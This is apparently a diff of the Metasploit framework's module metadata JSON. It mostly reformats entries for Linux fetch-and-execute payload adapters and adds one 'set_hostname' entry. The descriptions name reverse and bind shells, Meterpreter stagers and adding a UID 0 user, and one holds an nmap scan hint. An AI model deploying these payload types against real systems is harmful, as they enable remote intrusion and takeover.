"payload_type": 8, @@ -200964,9 +206104,7 @@ "payload_cmd/linux/http/mipsle/reboot": { "name": "HTTP Fetch, Linux Reboot", "fullname": "payload/cmd/linux/http/mipsle/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200976,7 +206114,7 @@ "Michael Messner ", "rigan - " ], - "description": "Fetch and execute an MIPSLE payload from an HTTP server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes.", + "description": "Fetch and execute an MIPSLE payload from an HTTP server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes.", "references": [ "URL-http://www.shell-storm.org/shellcode/files/shellcode-795.php" ], @@ -200993,8 +206131,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201005,9 +206142,7 @@ "payload_cmd/linux/http/mipsle/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/mipsle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201018,9 +206153,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201034,8 +206167,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201048,9 +206180,7 @@ "payload_cmd/linux/http/mipsle/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/mipsle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201063,9 +206193,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201079,8 +206207,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201091,9 +206218,7 @@ "payload_cmd/linux/http/mipsle/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/mipsle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201104,9 +206229,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201120,8 +206243,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201132,9 +206254,7 @@ "payload_cmd/linux/http/ppc/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201146,9 +206266,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201162,8 +206280,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201174,9 +206291,7 @@ "payload_cmd/linux/http/ppc/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201188,9 +206303,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201204,8 +206317,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201216,9 +206328,7 @@ "payload_cmd/linux/http/ppc/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201230,9 +206340,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201246,8 +206354,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201258,9 +206365,7 @@ "payload_cmd/linux/http/ppc64/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/ppc64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201270,9 +206375,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201286,8 +206389,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201298,9 +206400,7 @@ "payload_cmd/linux/http/ppc64/shell_find_port": { "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/http/ppc64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201310,9 +206410,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201326,8 +206424,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201338,9 +206435,7 @@ "payload_cmd/linux/http/ppc64/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/ppc64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201350,9 +206445,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201366,8 +206459,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201378,9 +206470,7 @@ "payload_cmd/linux/http/ppc64le/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc64le/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201392,9 +206482,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201408,8 +206496,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201420,9 +206507,7 @@ "payload_cmd/linux/http/ppc64le/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc64le/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201434,9 +206519,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201450,8 +206533,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201462,9 +206544,7 @@ "payload_cmd/linux/http/ppc64le/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc64le/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201476,9 +206556,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201492,8 +206570,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201504,9 +206581,7 @@ "payload_cmd/linux/http/x64/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201516,9 +206591,7 @@ "Geyslan G. Bem " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201532,8 +206605,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201544,9 +206616,7 @@ "payload_cmd/linux/http/x64/meterpreter/bind_tcp": { "name": "HTTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/http/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201556,9 +206626,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -201572,8 +206640,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201586,9 +206653,7 @@ "payload_cmd/linux/http/x64/meterpreter/reverse_sctp": { "name": "HTTP Fetch, Reverse SCTP Stager", "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201598,9 +206663,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -201614,8 +206677,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201628,9 +206690,7 @@ "payload_cmd/linux/http/x64/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201641,9 +206701,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -201657,8 +206715,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201671,9 +206728,7 @@ "payload_cmd/linux/http/x64/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201684,9 +206739,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201700,8 +206753,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201712,9 +206764,7 @@ "payload_cmd/linux/http/x64/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201725,9 +206775,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201741,8 +206789,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201753,9 +206800,7 @@ "payload_cmd/linux/http/x64/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201766,9 +206811,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201782,8 +206825,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201794,9 +206836,7 @@ "payload_cmd/linux/http/x64/pingback_bind_tcp": { "name": "HTTP Fetch, Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/cmd/linux/http/x64/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201805,9 +206845,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nAccept a connection from attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201821,8 +206859,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201833,9 +206870,7 @@ "payload_cmd/linux/http/x64/pingback_reverse_tcp": { "name": "HTTP Fetch, Linux x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201844,9 +206879,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201860,8 +206893,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201869,12 +206901,44 @@ "adapted_refname": "linux/x64/pingback_reverse_tcp", "staged": false }, + "payload_cmd/linux/http/x64/set_hostname": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x64/set_hostname", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Muzaffer Umut ŞAHİN " + ], + "description": "Fetch and execute an x64 payload from an HTTP server.", + "references": [], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x64/set_hostname", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/set_hostname", + "staged": false + }, "payload_cmd/linux/http/x64/shell/bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/http/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201883,9 +206947,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201899,8 +206961,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201913,9 +206974,7 @@ "payload_cmd/linux/http/x64/shell/reverse_sctp": { "name": "HTTP Fetch, Linux Command Shell, Reverse SCTP Stager", "fullname": "payload/cmd/linux/http/x64/shell/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201925,9 +206984,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201941,8 +206998,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201955,9 +207011,7 @@ "payload_cmd/linux/http/x64/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201967,9 +207021,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201983,8 +207035,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201997,9 +207048,7 @@ "payload_cmd/linux/http/x64/shell_bind_ipv6_tcp": { "name": "HTTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/http/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202008,9 +207057,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for an IPv6 connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202024,8 +207071,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202036,9 +207082,7 @@ "payload_cmd/linux/http/x64/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202047,9 +207091,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202063,8 +207105,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202075,9 +207116,7 @@ "payload_cmd/linux/http/x64/shell_bind_tcp_random_port": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202085,7 +207124,7 @@ "Brendan Watters", "Geyslan G. Bem " ], - "description": "Fetch and execute an x64 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute an x64 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port_x86_64.asm" ], @@ -202102,8 +207141,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202114,9 +207152,7 @@ "payload_cmd/linux/http/x64/shell_find_port": { "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/http/x64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202125,9 +207161,7 @@ "mak" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202141,8 +207175,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202153,9 +207186,7 @@ "payload_cmd/linux/http/x64/shell_reverse_ipv6_tcp": { "name": "HTTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/http/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202164,9 +207195,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202180,8 +207209,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202192,9 +207220,7 @@ "payload_cmd/linux/http/x64/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202203,9 +207229,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202219,8 +207243,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202231,9 +207254,7 @@ "payload_cmd/linux/http/x86/adduser": { "name": "HTTP Fetch, Linux Add User", "fullname": "payload/cmd/linux/http/x86/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202245,9 +207266,7 @@ "spoonm " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202261,8 +207280,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202273,9 +207291,7 @@ "payload_cmd/linux/http/x86/chmod": { "name": "HTTP Fetch, Linux Chmod", "fullname": "payload/cmd/linux/http/x86/chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202285,9 +207301,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nRuns chmod on specified file with specified mode", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202301,8 +207315,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202313,9 +207326,7 @@ "payload_cmd/linux/http/x86/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202343,8 +207354,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202355,9 +207365,7 @@ "payload_cmd/linux/http/x86/generic/debug_trap": { "name": "HTTP Fetch, Generic x86 Debug Trap", "fullname": "payload/cmd/linux/http/x86/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202367,9 +207375,7 @@ "robert " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -202383,8 +207389,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202395,9 +207400,7 @@ "payload_cmd/linux/http/x86/generic/tight_loop": { "name": "HTTP Fetch, Generic x86 Tight Loop", "fullname": "payload/cmd/linux/http/x86/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202407,9 +207410,7 @@ "jduck " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -202423,8 +207424,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202435,9 +207435,7 @@ "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp": { "name": "HTTP Fetch, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202449,9 +207447,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202465,8 +207461,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202479,9 +207474,7 @@ "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202494,9 +207487,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202510,8 +207501,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202524,9 +207514,7 @@ "payload_cmd/linux/http/x86/meterpreter/bind_nonx_tcp": { "name": "HTTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202537,9 +207525,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202553,8 +207539,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202567,9 +207552,7 @@ "payload_cmd/linux/http/x86/meterpreter/bind_tcp": { "name": "HTTP Fetch, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202581,9 +207564,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202597,8 +207578,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202611,9 +207591,7 @@ "payload_cmd/linux/http/x86/meterpreter/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202626,9 +207604,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202642,8 +207618,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202656,9 +207631,7 @@ "payload_cmd/linux/http/x86/meterpreter/find_tag": { "name": "HTTP Fetch, Find Tag Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202669,9 +207642,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202685,8 +207656,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, 